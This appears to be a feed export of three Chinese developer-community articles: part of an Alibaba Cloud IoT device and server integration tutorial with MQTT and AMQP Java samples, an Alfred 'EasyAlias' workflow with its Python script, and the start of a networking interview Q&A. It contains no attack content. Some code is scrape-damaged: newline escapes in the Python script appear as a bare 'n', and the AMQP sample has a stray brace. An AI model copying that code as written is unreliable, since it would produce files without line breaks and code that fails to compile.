    重点关注物模型协议部分:https://help.aliyun.com/document_detail/89301.html 。里面包含了物模型相关所有Topic介绍(物模型Topic列表在控制台也可以查看,如下图)。

    test

    文档详细介绍了设备端如何向云端上报“属性”、“事件”,如何订阅云端向下发送的“服务”指令。
    Topic和Payload都基于客户定义的物模型进行标准化和规范化,从而使得客户设备与云交互方式不会随着设备类型变化而改变,满足扩展性要求。
    image.png

    2.环境准备。
    根据自己选型选择合适的MQTT客户端,本文选择eclipse paho。

    <dependency>
        <groupId>org.eclipse.paho</groupId>
        <artifactId>org.eclipse.paho.client.mqttv3</artifactId>
        <version>1.1.1</version>//可以选择您需要的版本
    </dependency>

    3.开发。
    物模型复用“2.1 使用设备SDK开发”中“开发前准备”给出的。

    关于免订阅能力介绍:

    有些设备最资源比较敏感,为了避免初始化订阅大量Alink协议中系统Topic带来的性能开销,平台提供了免订阅能力,即平台帮设备进行Topic订阅。
    SDK只有3.1.0及以后版本支持免订阅能力,并且默认打开该能力。
    如果不使用SDK开发,可以通过设备端在MQTT的连接报文中的clientId部分, 新增_ss=1表示开启自动订阅, 建连成功后服务端会自动订阅上以下表格中的topic, 若传递 _ss=0 或者不传递该字段, 则不会发生服务端自动订阅动作。

    4.上报属性。

    String productKey = "a1nhbEV****";
    String deviceName = "7mBP6Dd6IT2*****";
    String deviceSecret = "****";
    
    // MQTT连接
    MqttTestClient client;
    client = new MqttTestClient(productKey, deviceName, deviceSecret);
    
    client.connect();
    
    String setTopic = "/thing/event/property/post";
    String setTopicReply = "/thing/event/property/post_reply";
    
    // 上报属性,云端会返回REPLY,进行订阅。(为了节省端侧订阅开销,可以开通免订阅)
    // 此处client进行了封装,您根据自己的业务进行封装即可,也可以直接使用MQTT Client subscribe
    client.sysTopic(setTopicReply).subscribe();
    
    // 封装Alink协议系统参数
    Map<String, Object> payload = new HashMap<String, Object>();
    Map<String, Object> params = new HashMap<String, Object>();
    payload.put("id", 11);//id需要保证设备端一段时间内唯一
    payload.put("params", params);
    payload.put("method", "thing.event.property.post");
    
    // 组装属性payload
    String propKey = "acOutMeterIty";
    int statusValue = 30;
    Map<String, Object> proValue = new HashMap<>();
    proValue.put("value", statusValue);
    proValue.put("time", System.currentTimeMillis());
    params.put(propKey, proValue);
    
    // 上报(client进行了封装,您根据自己的业务进行封装即可,也可以直接使用MQTT Client publish消息)
    client.sysTopic(setTopic).publish(JSON.toJSONString(payload));
    
    // 打印云端返回的Reply(client进行了封装,您根据自己的业务进行封装即可,也可以直接使用MQTT Client监听订阅消息)
    client.sysTopic(setTopicReply).readTopic(10000);
    
    client.disconnect();

    日志打印的设备请求和响应。
    image.png

    5.上报事件。

    
    String productKey = "a1nhbEV****";
    String deviceName = "7mBP6Dd6IT27*****";
    String deviceSecret = "***";
    
    // MQTT连接
    MqttTestClient client;
    client = new MqttTestClient(productKey, deviceName, deviceSecret);
    
    client.connect();
    
    // topic中为"startChaResEvt"属于物模型事件标识符。
    String setTopic = "/thing/event/startChaResEvt/post";
    String setTopicReply = "/thing/event/startChaResEvt/post_reply";
    
    // 报事件,云端会返回REPLY,进行订阅。(为了节省端侧订阅开销,可以开通免订阅)
    client.sysTopic(setTopicReply).subscribe();
    
    // 封装Alink协议系统参数
    Map<String, Object> payload = new HashMap<String, Object>();
    Map<String, Object> params = new HashMap<String, Object>();
    payload.put("id", 11);//id需要保证设备端一段时间内唯一
    payload.put("params", params);
    payload.put("method", "thing.event.startChaResEvt.post");
    
    // 组装属性payload
    Map<String, Object> dataValue = new HashMap<>();
    // key为物模型中事件参数的标识符"gunNum", value为事件参数值需要遵循数值规范:int类型,取值范围0~100之间;
    dataValue.put("gunNum", 59);
    
    params.put("value", dataValue);
    params.put("time", System.currentTimeMillis());
    
    // 上报(client进行了封装,您根据自己的业务进行封装即可,也可以直接使用MQTT Client publish消息)
    client.sysTopic(setTopic).publish(JSON.toJSONString(payload));
    
    // 打印云端返回的Reply(client进行了封装,您根据自己的业务进行封装即可,也可以直接使用MQTT Client监听订阅消息)
    client.sysTopic(setTopicReply).readTopic(10000);
    
    client.disconnect();

    6.服务调用。
    此处为一段伪代码。可以在MQTT建连的时候通过callback监听云端下发的控制指令或消息。
    前提:已经对下行的TOPIC进行订阅过,免订阅能力参考上面介绍。

    mqttClient = new MqttClient(url, clientId, persistence);
    final MqttConnectOptions connOpts = new MqttConnectOptions();
    connOpts.setMqttVersion(4);
    connOpts.setAutomaticReconnect(true);
    connOpts.setCleanSession(false);
    connOpts.setUserName(mqttUsername);
    connOpts.setPassword(mqttPassword.toCharArray());
    connOpts.setKeepAliveInterval(65);
    LogUtil.log(clientId + "进行连接, 目的地: " + url);
    
    // 此处订阅云端下发的消息
    mqttClient.setCallback(new MqttCallback() {
        @Override
        public void connectionLost(Throwable cause) {
            LogUtil.log("connection lost, cause:" + cause);
            cause.printStackTrace();
        }
    
        @Override
        public void messageArrived(String topic, MqttMessage message) throws Exception {
            TopicChannel topicChannel = getTopic(topic);
            LogUtil.log("receive message, channel:" + topicChannel
                        + ",topic:" + topic
                        + ", payload:" + new String(message.getPayload(), "UTF-8") + "");
            topicChannel.put(message);
        }
    
        @Override
        public void deliveryComplete(IMqttDeliveryToken token) {
            //如果是qos 0消息 token.resp是没有回复的
            LogUtil.log("sent, " + ((token == null || token.getResponse() == null) ? "null"
                                    : token.getResponse().getKey()));
        }
    });
    
    mqttClient.connect(connOpts);

    重点说明
    • 所有被订阅的下行Topic都会被监听到。物模型相关的主要包括:属性上报Reply、属性下行设置、服务下行控制。
    • 设置设备属性(https://help.aliyun.com/document_detail/89301.html#title-wmh-y2e-18r),默认异步方式返回结果。
    • 订阅的Topic为Alink协议标准Topic:“/sys/{productKey}/{deviceName}/thing/service/property/set”
    • 服务控制(https://help.aliyun.com/document_detail/89301.html#title-3pt-nfy-jys),同异步方式取决于物模型中service配置的调用模式。
    • 服务异步方式订阅的Topic为Alink协议标准Topic:“/sys/{productKey}/{deviceName}/thing/service/{tsl.service.identifier}”
    • 服务同步方式订阅的Topic需要遵循RRPC Topic模式:详见文档https://help.aliyun.com/document_detail/90568.html

    注意:仅设备侧需要感知RRPC特殊TOPIC,设备上云后,数据流转、开放API面向的还是Alink协议编程。

    2.3 在线调试

    设备开发后之后,如何快速模拟业务服务器给设备下发指令,调试设备能力?IoT平台提供了“在线调试”的功能,可以模拟设备或模拟应用端到端调试。

    test

    此处使用“在线调试”里面“调试真实设备”能力。通过控制台下发设备控制指令,分两类:1)属性设置;2)服务调用。

    1.服务调用调试。

    image.png

    image.png
    云端下发后,可以到设备端查看控制Log是否打印,以判断指令达到端侧。
    从图中可见设备收到startChaResService服务,同时向云端返回了输出参数。

    2.属性设置调试。

    image.png
    说明
    • “获取”:暂不支持到设备,只能从云端获取设备最新属性。
    • “设置”:指令直接到设备端,设备修改本地属性之后,上报云端最新属性;到设备上的设置指令为"set"。
    • “设置期望值”:如果设备在线,会直接下发设备,如果设备离线,指令在云端进行缓存,待上线后下发设备端,下发之后,设备修改本地属性之后,同样上报云端最新属性;到设备上的设置指令同样为"set"。如果您希望使用物模型期望值能力,可点击查看最佳实践。
    image.png
    云端下发后,可以到设备端查看控制Log是否打印,以判断指令达到端侧。
    从图中可见设备收到set指令,返回了服务响应,同时向云端上报了最新属性。

    说明:服务结果还可以通过“2.4 查看物模型数据”章节中获取。

    2.4 查看物模型数据

    DEMO运行之后,可以看到设备已经“在线”状态。
    “运行状态”展示设备上报的属性值;
    “事件管理”展示设备上报的事件;
    “服务调用”展示云端下发设备的控制服务;
    image.png

    上报属性结构化展示。
    image.png

    上报事件,包括事件参数展示。
    image.png

    属性设置、服务调用两类服务的云端下发入参、设备响应出参都有展示,如上证明设备收到云端指令,并且正常返回响应。

    2.5 查看日志服务

    设备在运行过程,可能会出现一些异常,比如连接失败、认证失败、数据异常等等,为了便于排查,可以查看日志服务。举例设备上报数据可能会不符合物模型规范,比如事件参数"gunNum"对应值的数据范围为0~100之间,而真实上报了50000。日志服务会展示设备错误详情。
    image.png

    image.png
    可以看到日志内容为“{"Reason":"tsl parse: int value is bigger than max 100 -> gunNum"}”,说明gunNum对应值超过物模型规范最大值100的限制。物模型规范详情到“物模型TSL”查看。

    image.png
    同时可以通过“日志转储”中“日志报表”进一步查看设备大盘,包括设备上下线次数、设备上线IP区域分布、设备消息量、设备消息量Top列表、物模型错误分布、云端API错误分布等多维度指标。
    日志服务介绍文档请参见这里

    3 服务端开发

    设备连接到阿里云IoT平台,设备数据会保存在IoT平台时序数据库。同时IoT平台提供两种方式供客户获取设备数据:方式1)通过服务端订阅或者规则引擎实时流转到客户服务器;2)通过开放API供客户调用获取。

    3.1 服务端调用API开发(P0)

    1.环境准备。
    SDK下载文档:https://help.aliyun.com/document_detail/30581.html
    API接口列表:https://help.aliyun.com/document_detail/69579.html
    重点关注物模型使用相关API

    test

    2.以下示例为设置设备属性API,设备异步返回结果,客户需要通过“数据流转”方式获取。

    String accessKey = "***";
    String accessSecret = "***";
    try {
        DefaultProfile.addEndpoint("cn-shanghai", "cn-shanghai", "Iot", "iot.cn-shanghai.aliyuncs.com");
    } catch (Exception e) {
        System.out.println("DefaultProfile exception");
    }
    
    IClientProfile profile = DefaultProfile.getProfile("cn-shanghai", accessKey, accessSecret);
    DefaultAcsClient defaultAcsClient = new DefaultAcsClient(profile);
    
    SetDevicePropertyRequest setDevicePropertyRequest = new SetDevicePropertyRequest();
    // 如果使用实例,此处传入真实实例id;如果公共实例,不需要设置。
    //createProductRequest.setIotInstanceId("iothub-test-xxx");
    setDevicePropertyRequest.setProductKey(pk);
    setDevicePropertyRequest.setDeviceName(dn);
    
    Map<String, Integer> properties = new HashMap<>();
    // key为物模型中属性标识符"acOutMeterIty",value需要遵循属性值规范:int类型,取值范围在0~200之间;
    properties.put("acOutMeterIty", 98);
    setDevicePropertyRequest.setItems(JSON.toJSONString(properties));
    
    SetDevicePropertyResponse response = null;
    try {
        response = defaultAcsClient.getAcsResponse(setDevicePropertyRequest);
    } catch (Exception e) {
        Log.error("执行失败:e:" + e.getMessage());
    }
    
    System.out.println("===============");
    System.out.println("setDeviceProperty request : " + JSON.toJSONString(setDevicePropertyRequest));
    System.out.println("setDeviceProperty response : " + JSON.toJSONString(response.getData()));
    System.out.println("setDeviceProperty requestId : " + response.getRequestId());
    System.out.println("===============");

    重点说明
    image.png
    下行控制如果为异步服务,需要通过订阅数据流转获取设备返回结果,订阅方式和数据结构详见“3.2 数据流转”章节介绍。

    关联介绍:“3.2.1 服务端订阅”中“重点说明”。

    3.2 数据流转

    平台提供两种数据流转方式:方式1)服务端订阅;方式2)规则引擎;

    3.2.1服务端订阅(P0)

    服务端订阅配置
    image.png
    “推送消息类型”选择“设备上报消息”,包括物模型属性上报、事件上报、设备下行指令结果(包括属性设置响应、服务控制响应)等消息。
    消息格式详见文档:https://help.aliyun.com/document_detail/73736.html

    test

    服务端订阅DEMO
    接入说明:https://help.aliyun.com/document_detail/143601.html

    /**
     * AMQP服务端订阅
    */
    //参数说明,请参见AMQP客户端接入说明文档。
    String accessKey = "***";
    String accessSecret = "***";
    String consumerGroupId = "***";
    //iotInstanceId:购买的实例请填写实例ID,公共实例请填空字符串""。
    String iotInstanceId = "";
    long timeStamp = System.currentTimeMillis();
    //签名方法:支持hmacmd5、hmacsha1和hmacsha256。
    String signMethod = "hmacsha1";
    //控制台服务端订阅中消费组状态页客户端ID一栏将显示clientId参数。
    //建议使用机器UUID、MAC地址、IP等唯一标识等作为clientId。便于您区分识别不同的客户端。
    String clientId = "TESTClientID";
    
    //userName组装方法,请参见AMQP客户端接入说明文档。
    String userName = clientId + "|authMode=aksign"
        + ",signMethod=" + signMethod
                + ",timestamp=" + timeStamp
                + ",authId=" + accessKey
                + ",iotInstanceId=" + iotInstanceId
                + ",consumerGroupId=" + consumerGroupId
                + "|";
    //计算签名,password组装方法,请参见AMQP客户端接入说明文档。
    String signContent = "authId=" + accessKey + "&timestamp=" + timeStamp;
    String password = doSign(signContent,accessSecret, signMethod);
    //接入域名,请参见AMQP客户端接入说明文档。
    String connectionUrl = "amqps://${uid}.iot-amqp.${regionId}.aliyuncs.com:5671?amqp.idleTimeout=80000";
    
    Hashtable<String, String> hashtable = new Hashtable<>();
    hashtable.put("connectionfactory.SBCF",connectionUrl);
    hashtable.put("queue.QUEUE", "default");
    hashtable.put(Context.INITIAL_CONTEXT_FACTORY, "org.apache.qpid.jms.jndi.JmsInitialContextFactory");
    Context context = new InitialContext(hashtable);
    ConnectionFactory cf = (ConnectionFactory)context.lookup("SBCF");
    Destination queue = (Destination)context.lookup("QUEUE");
    // Create Connection
    Connection connection = cf.createConnection(userName, password);
    ((JmsConnection) connection).addConnectionListener(myJmsConnectionListener);
    // Create Session
    // Session.CLIENT_ACKNOWLEDGE: 收到消息后,需要手动调用message.acknowledge()。
    // Session.AUTO_ACKNOWLEDGE: SDK自动ACK(推荐)。
    Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
    connection.start();
    // Create Receiver Link
    MessageConsumer consumer = session.createConsumer(queue);
    consumer.setMessageListener(messageListener);
    }
    
    private static MessageListener messageListener = new MessageListener() {
        @Override
        public void onMessage(Message message) {
            try {
                //1.收到消息之后一定要ACK。
                // 推荐做法:创建Session选择Session.AUTO_ACKNOWLEDGE,这里会自动ACK。
                // 其他做法:创建Session选择Session.CLIENT_ACKNOWLEDGE,这里一定要调message.acknowledge()来ACK。
                // message.acknowledge();
                //2.建议异步处理收到的消息,确保onMessage函数里没有耗时逻辑。
                // 如果业务处理耗时过程过长阻塞住线程,可能会影响SDK收到消息后的正常回调。
                executorService.submit(() -> processMessage(message));
            } catch (Exception e) {
                logger.error("submit task occurs exception ", e);
            }
        }
    };
    
    /**
     * 在这里处理您收到消息后的具体业务逻辑。
    */
    private static void processMessage(Message message) {
        try {
            byte[] body = message.getBody(byte[].class);
            String content = new String(body);
            String topic = message.getStringProperty("topic");
            String messageId = message.getStringProperty("messageId");
            System.out.println("AMQP receive message"
                               + ", topic = " + topic
                               + ", messageId = " + messageId
                               + ", content = " + content);
        } catch (Exception e) {
            logger.error("processMessage occurs error ", e);
        }
    }
    
    private static JmsConnectionListener myJmsConnectionListener = new JmsConnectionListener() {
        /**
         * 连接成功建立。
         */
        @Override
        public void onConnectionEstablished(URI remoteURI) {
            logger.info("onConnectionEstablished, remoteUri:{}", remoteURI);
        }
    
        /**
         * 尝试过最大重试次数之后,最终连接失败。
         */
        @Override
        public void onConnectionFailure(Throwable error) {
            logger.error("onConnectionFailure, {}", error.getMessage());
        }
    
        /**
          * 连接中断。
          */
        @Override
        public void onConnectionInterrupted(URI remoteURI) {
            logger.info("onConnectionInterrupted, remoteUri:{}", remoteURI);
        }
    
        /**
         * 连接中断后又自动重连上。
         */
        @Override
        public void onConnectionRestored(URI remoteURI) {
            logger.info("onConnectionRestored, remoteUri:{}", remoteURI);
        }
    
        @Override
        public void onInboundMessage(JmsInboundMessageDispatch envelope) {}
    
        @Override
        public void onSessionClosed(Session session, Throwable cause) {}
    
        @Override
        public void onConsumerClosed(MessageConsumer consumer, Throwable cause) {}
    
        @Override
        public void onProducerClosed(MessageProducer producer, Throwable cause) {}
    };
    
    /**
     * 计算签名,password组装方法,请参见AMQP客户端接入说明文档。
     */
    private static String doSign(String toSignString, String secret, String signMethod) throws Exception {
        SecretKeySpec signingKey = new SecretKeySpec(secret.getBytes(), signMethod);
        Mac mac = Mac.getInstance(signMethod);
        mac.init(signingKey);
        byte[] rawHmac = mac.doFinal(toSignString.getBytes());
        return Base64.encodeBase64String(rawHmac);
    }

    日志打印出订阅到的流转消息如下,符合预期。
    image.png

    重点说明
    下行控制如果为异步服务,需要通过订阅数据流转获取设备返回结果。订阅Topic为"/sys/{productKey}/{deviceName}/thing/downlink/reply/message",需要根据"requestId"关联请求和响应。

    关联介绍:“3.1 服务端调用API开发”中“重点说明”。

    image.png

    3.2.2 规则引擎数据订阅。

    配置SQL
    SQL介绍文档这里
    image.png

    调试SQL
    Payload数据格式文档这里
    image.png

    可以查看“调试结果”。

    test

    符合配置的SQL结果。

    转发数据
    可以转发到客户以下多种云产品中,本文选择AMQP作为示例验证。
    image.png

    image.png
    创建完成后,需要到规则列表页“启动”改规则。

    订阅数据
    服务端订阅代码可以复用上面“3.1”服务端订阅代码。差别就是服务端订阅,订阅的是Topic对应的完整Payload;而规则引擎流转AMQP,在消息流转过程可以对Payload做一些规则过滤或简单计算。
    以下日志精简报文是通过规则引擎过滤后获取的数据。
    image.png
    说明:同一组数据不要同时开通规则引擎和服务端订阅两种订阅模式,避免消息干扰。

    4 设备运行时

    设备量产之后,到达消费者手上,会开始激活上线进入到设备运行时。由于不属于开发态流程,本章节仅做简单介绍,目的是能让开发者知道开发态的配置在运行态如何产生作用,对设备接上阿里云IoT平台后的流程有个简单的认识。

    image.png

    本文通过物模型接入流程,介绍了平台设备连接、物模型规范校验、物模型数据、规则引擎、服务端订阅、开放API六大基础能力。
    设备全生命周期过程中,还有不少设备管理能力供客户选择,其中包括设备标签、设备分组、设备检索、OTA、设备运维、设备分发、文件上传、远程配置等,欢迎使用。

    4.1 连接

    设备连接过程,云端会对设备进行身份认证。

    4.2 物模型规范校验

    由于目前物模型配置仅提供强校验模式,物模型规范校验主要对设备上报的报文进行Alink协议解析、物模型数据规范校验。平台后续会陆续开放弱校验、免校验、数据去重能力。

    关联阅读:1.3 物模型配置

    4.3 设备管理能力

    4.3.1 设备标签
    介绍文档:https://help.aliyun.com/document_detail/73733.html
    4.3.2 设备分组
    介绍文档:https://help.aliyun.com/document_detail/90386.html
    4.3.3 OTA
    介绍文档:https://help.aliyun.com/document_detail/85700.html
    4.3.4 设备分发
    介绍文档:https://help.aliyun.com/document_detail/143450.html

    ]]>
    macOS 神器 Workflow ,让效率翻倍!-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 滚动.gif

    背景

    一起回顾一个大家非常熟悉场景。

    上周开发一个需求,开发过程中,我需要登录到服务器上看一下服务运行的日志,确认运行状态或者看一些debug的信息。所以我登录到跳板机,此时我发现我忘了某一台机器的具体名字(通常能记得的人都是天才),所以需要用跳板机提供的 autoget 命令来通过服务器组名来获得机器的列表。

    此时我发现我连服务器组名都忘了,所以需要上 eagle eye 上查寻一下组名。这个查询可能得依靠我的记忆打出组名的前缀,通过 eagle eye 给出的补全提示列表来识别出其中那个我需要的组名。

    终于我得到了我的组名,为了避免我下次再忘记而不得不再繁琐的查询一遍,我选择把这些结果记录到我的记事本中,方便我下次查找使用。终于我登录了机器,可是不巧我忘了日志记录的位置,我想起某个同事曾经告诉过我日志的路径,于是我查找了与那个同事的聊天记录,找到了这个日志路径。同样为了防止忘记,我又把它记录到了我的记事本中方便下次查找。然后我把日志路径复制粘贴到命令行,我终于可以开始工作了。

    昨天我又开发了一个需求,我还需要登录到服务器上看一下服务运行的日志,确认运行状态或者看一些 debug 的信息。所以我登录到跳板机,需要用跳板机提供的 autoget 命令来通过服务器组名来获得机器的列表,我想起了我在记事本中记录了这个内容,于是我打开记事本,搜索了 keyword,在简单的翻找下,我找到了我想要的命令。

    进入到机器后,我发现日志的路径我还是没有记住。于是,我再次打开记事本,搜索了另一个 keyword ,再次翻找了一下,找到路径后把它复制粘贴到命令行,我一边粘贴一边想,我要是像在本机的终端环境中,把这些命令写成 bashrc 中的 alias 就好了。我又可以开始工作了。

    于是,我的记事本中的内容一般都是这样:

    image.png

    从上述两次流程的对比中,我们发现记事本已经给我们的工作带来很大的提效了。但是在昨天流程最后我的思考中,我们不难发现,这个提效,还有提升的空间。我认为任何用过 shell 的 alias 的同学都会认同我的观点:如果上述流程能用alias来记录这些冗长的命令,我们就不用麻烦记事本了不是吗?

    可是跳板机是公共资源,有严格的使用规范。具体服务器又是容器化部署,每次部署都会是一个新的容器,所以在当前的bashrc上写下什么并没有用。或许我们能寻找一个新的途径来实现这个需求。

    问题

    让我们从背景中总结我们正在面临的是哪些问题:

    1、工作中存在非常多冗长难记的信息,需要我们在各个场景反复输入。
    2、这些冗长的信息来源分散,查找起来非常麻烦耗时。
    每次需要输入时等要通过额外的操作,频繁切换聚焦的窗口来获取这些信息。
    3、这些问题虽然各自都占用了我们为数不多的时间和精力,但因为场景小而频繁,当乘以次数后,这些消耗也变得非常可观,并且非常影响我们的工作体验。

    思考

    让我们思考一下当我们想要使用 alias 的时候我们实际想要的是什么?我以个人的经验来总结,大概是以下几点:

    1、用一个很短的短词来替代一个需要高频输入的很长的句子。

    2、用一个更好记的词替代一个难记易忘的句。

    3、配置的成本可控,使用的成本很低。

    我们品一品1、2两点,其本质就是一个字典,由短语为key,长句为value。这个是我们程序员的好朋友了,我们可以简单的通过一个文件就能实现这份配置。事实上,我们使用记事本记录,其实本质也是在使用字典的特性。而第三点,让我瞬间想到使用 Alfred 的 Workflow 这个Mac上的神器。关于 Alfred 此处不做介绍,不知道或者想要了解的同学可以移步官网

    设计

    其实针对我们已经给出的需求,我们非常容易就可以得出一个设计思路。我们可以固定一个文件路径保存一个文件,这个文件以一种简单的格式或方式保存一个字典。编写一个 alfred 的 workflow 来解析这个文件形成一个 Map ,并通过搜索和匹配 key 来快速的获取 value ,而获取 value 最有效的方式就是把 value 输出到系统的剪切板中。

    考虑到 Mac 和 Alfred 的使用用户并不全是工程师,我们选择记录字典的格式最好越简单越好。所以我计划以普通的文本格式,每一行为一个键值对,第一个空格前的短词为 key ,第一个空格后的内容为 value 。直接让用户新建指定路径的文件并通过编辑文件的方式来管理的形式确实可以被一部分用户所接受,但是为了能面对更多用户,我认为以 workflow 的方式在增删字典的内容也同时是需要支持的。这样不想关心具体实现、不愿接触文本文件的用户同样可以无感使用。

    最后我给这个 workflow 取名为 EasyAlias。

    实现

    来看一下 workflow 的排版:

    image.png

    通过三个关键字的Alfred命令,分别实现设置alias(sal, set alias),删除alias(dal, delete alias),查找(gal, get alias)。

    其中sal和dal使用简单的keyword输入,而gal为了使用Alfred通过的展示候选列表和搜索匹配的能力,而使用了Script Filter作为输入。三者都通过shell调用了一个实现主要功能的python脚本easy_alias.py,通过传入不同的action参数来区分行为。

    sal:

    python easy_alias.py set {query}

    dal:

    python easy_alias.py del {query}

    gal:

    python easy_alias.py show {query}
    cat filter.output

    easy_alias.py

    # coding=utf8
    import sys
    import json
    from os import listdir, makedirs
    from os.path import isfile, join, exists, expanduser
    
    base_path = expanduser("~/.easy_alias")
    file_name = "alias_conf"
    file_path = join(base_path, file_name)
    
    alias_map = dict()
    
    def init():
        if not exists(base_path):
            makedirs(base_path)
        if not exists(file_path):
            open(file_path, 'w').close()
    
    def get_key_and_value(text):
        seqs = text.strip().split(' ')
        if len(seqs) < 2:
            return None, None
        key = seqs[0];
        value = reduce(lambda x, y: x.strip() + ' ' + y.strip(), seqs[1:])
        return key, value
    
    def get_alias_map():
        with open(file_path, 'r') as f:
            for line in f.readlines():
                k, v = get_key_and_value(line)
                if k == None or v == None:
                    continue
                alias_map[k] = v
    
    def set_alias():
        if len(sys.argv) < 3:
            return 
        text = sys.argv[2].strip()
        k, v = get_key_and_value(text)
        if k == None or v == None:
            return
        alias_map[k] = v
    
    def del_alias():
        if len(sys.argv) < 3:
            return 
        key = sys.argv[2].strip()
        new_content = ""
        if key in alias_map:
            alias_map.pop(key)
    
    def show_alias():
        items = list()
        for k, v in alias_map.iteritems():
            d = {
                "uid": k,
                "type": "default",
                "title": k,
                "subtitle": v,
                "arg": v,
                "autocomplete": k,
                "icon": {
                    "type": "fileticon",
                    "path": "icon.png"
                }
            }
            items.append(d)
        show = {"items": items}
        with open('filter.output', 'w') as f:
            f.write(json.dumps(show))
    
    def write_map_to_file():
        file_content = ''
        for k, v in alias_map.iteritems():
            file_content += k + ' ' + v + 'n'
        with open(file_path, 'w') as f:
            f.write(file_content)
    
    if __name__ == '__main__':
        init()
        get_alias_map()
        action = sys.argv[1]
    
        with open(join(base_path, 'logs'), 'a') as f:
            f.write(str(sys.argv) + 'n')
    
        if (action == 'set'):
            set_alias()
        if (action == 'del'):
            del_alias()
        if (action == 'show'):
            show_alias()
    
        write_map_to_file()

    效果

    设置一个alias

    image.png

    查找一个alias

    image.png

    删除一个alias

    image.png

    如果觉得通过sal设置和dal删除的方式太麻烦,也可以直接编辑~/.easy_alias/alias_conf

    image.png

    保存文件再查询

    image.png

    作业

    这个 workflow 本身很简单很好实现。本文也希望不仅仅只是一个简单分享,希望能与读者有所互动,所以打算留个回家作业。

    可以发现现在 dal 命令现在需要使用者盲打key,而不是像gal这样可以搜索补全。这会给使用者带来一定烦恼。回家作业就是将 dal 命令也改造成像 gal 一样可以搜索补全的形式。

    作业下载
    EasyAliasPro

    总结

    让我们回过头看一下我们再开始时面对的问题是否得到了很好的解决。

    我们无法改变工作中频繁需要冗长信息的状况,但是我们通过访问剪切板的方式让输入变得简单。
    我们用一个文件将这些信息集中在一起,并且通过工具打打提升了我们检索这些信息的效率。
    Alfred提供给我们一个在检索并获取这些信息上无需切换窗口,并且操作非常简单的方式。

    很高兴,我们很大程度上解决了我们先前提出的这些问题!

    最后

    今天我又开发了一个需求,我还需要登录到服务器上看一下服务运行的日志,确认运行状态或者看一些debug的信息。所以我登录到跳板机,唤醒了Alfred,输入gal ahostp,并将结果粘贴在命令行获得了机器列表。登上机器后,我再次唤醒Alfred,输入gal alog,并粘贴在命令行中。现在我可以开始工作了。

    关注「淘系技术」微信公众号,一个有温度有内容的技术社区~

    image.png

    ]]>
    测试面试题集锦(三)| 计算机网络和数据库篇(附答案)-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 软件测试工程师面试题系列篇 | 目录
    1. 测试常见问题与流程篇
    2. 测试工具篇
    3. 计算机网络知识与数据库篇
    4. Linux 篇
    5. Python 编程篇
    6. 自动化测试篇:包含 Selenium、Appium 和接口测试
    7. 性能测试篇
    8. 软素质篇:10 大灵魂拷问
    9. 反问面试官篇
    10. 计算机网络篇(基础知识)
    1.擅长哪些开发语言?
    • 学习过 Java,C 等
    • 半精通 Python
    2.输入 URL 到网页显示出来的全过程
    1. 输入网址
    2. DNS解析
    3. 建立tcp连接
    4. 客户端发送HTTP请求
    5. 服务器处理请求
    6. 服务器响应请求
    7. 浏览器展示HTML
    8. 浏览器发送请求获取其他在HTML中的资源。
    3.HTTP 和 HTTPS 的区别
    • HTTPS 里面是要有证书的,HTTP 并没有证书。证书的作用是证明你是这个网站的拥有者。谁去证明?最顶级的 CA 去帮你证明,这些顶级的 CA 都是浏览器、操作系统本身就自动帮你集成,而且自动添加到设置信任里面去;
    • HTTPS 要兼顾安全+性能的方面,由于对称式加密虽然速度很快,但是安全性特别的低,因为双方要规定对称式加密的秘钥,别人都无法知道,但你怎么能确保别人不知道你的秘钥呢,因此需要有非对称式加密去保证安全,但非对称式加密速度又很慢,如果客户端和服务器端都用非对称式加密,网络得卡死了。所以当双方建立好了非对称加密后,再约定一个随机数,等大家都非对称解密了之后呢,就拿到只有对方知道的唯一随机数(秘钥),就可以用秘钥来进行对称式加密和解密了;
    4.HTTP 的报文结构
    • HTTP请求报文:一个HTTP请求报文由请求行、请求头部、空行和请求数据4个部分组成
    • HTTP响应报文:HTTP响应也由三个部分组成,分别是:状态行、消息报头、响应正文
    5.HTTP 常见的响应状态码
    • 200 请求已成功,请求所希望的响应头或数据体将随此响应返回。
    • 201 请求已经被实现,而且有一个新的资源已经依据请求的需要而建立,且其 - - URI 已经随 Location 头信息返回
    • 202 服务器已接受请求,但尚未处理
    • 301 (永久移动) 请求的网页已永久移动到新位置。服务器返回此响应(对 GET 或 HEAD 请求的响应)时,会自动将请求者转到新位置。
    • 302 (临时移动) 服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来进行以后的请求。
    • 303 (查看其他位置) 请求者应当对不同的位置使用单独的 GET 请求来检索响应时,服务器返回此代码。
    • 304 (未修改) 自从上次请求后,请求的网页未修改过。服务器返回此响应时,不会返回网页内容。
    • 305 (使用代理) 请求者只能使用代理访问请求的网页。如果服务器返回此响应,还表示请求者应使用代理。
    • 307 (临时重定向) 服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来进行以后的请求。
    • 401 当前请求需要用户验证。如果当前请求已经包含了 Authorization 证书,那么
    • 401 响应代表着服务器验证已经拒绝了那些证书
    • 403 服务器已经理解请求,但是拒绝执行它。与 401 响应不同的是,身份验证并不能提供任何帮助,而且这个请求也不应该被重复提交
    • 404 请求失败,请求所希望得到的资源未被在服务器上发现
    • 500 服务器遇到了一个未曾预料的状况,导致了它无法完成对请求的处理。一般来说,这个问题都会在服务器的程序码出错时出现。
    • 501 服务器不支持当前请求所需要的某个功能。当服务器无法识别请求的方法,并且无法支持其对任何资源的请求。
    • 502 作为网关或者代理工作的服务器尝试执行请求时,从上游服务器接收到无效的响应。
    • 503 由于临时的服务器维护或者过载,服务器当前无法处理请求。这个状况是临时的,并且将在一段时间以后恢复。
    6.cookie 和 session 机制的区别
    • cookies 数据保存在客户端,session 数据保存在服务器端;
    • cookies 可以减轻服务器压力,但是不安全,容易进行 cookies 欺骗;
    • session 较安全,但占用服务器资源
    7.TCP 和 UDP 的区别
    • TCP:面向连接,可靠的,速度慢,效率低
    • UDP:无连接、不可靠、速度快、效率高
    8.TCP 为什么是三次握手和四次挥手
    • 三次握手能保证数据可靠传输又能提高传输效率。若握手是两次:如果只是两次握手, 至多只有连接发起方的起始序列号能被确认,另一方选择的序列号则得不到确认;
    • 要保证双方都关闭了连接。因为 TCP 是全双工的,就是要等到两边都发送 fin 包确认双方都没有数据传输后才关闭;
    9.TCP为什么最后挥手后会有time_wait
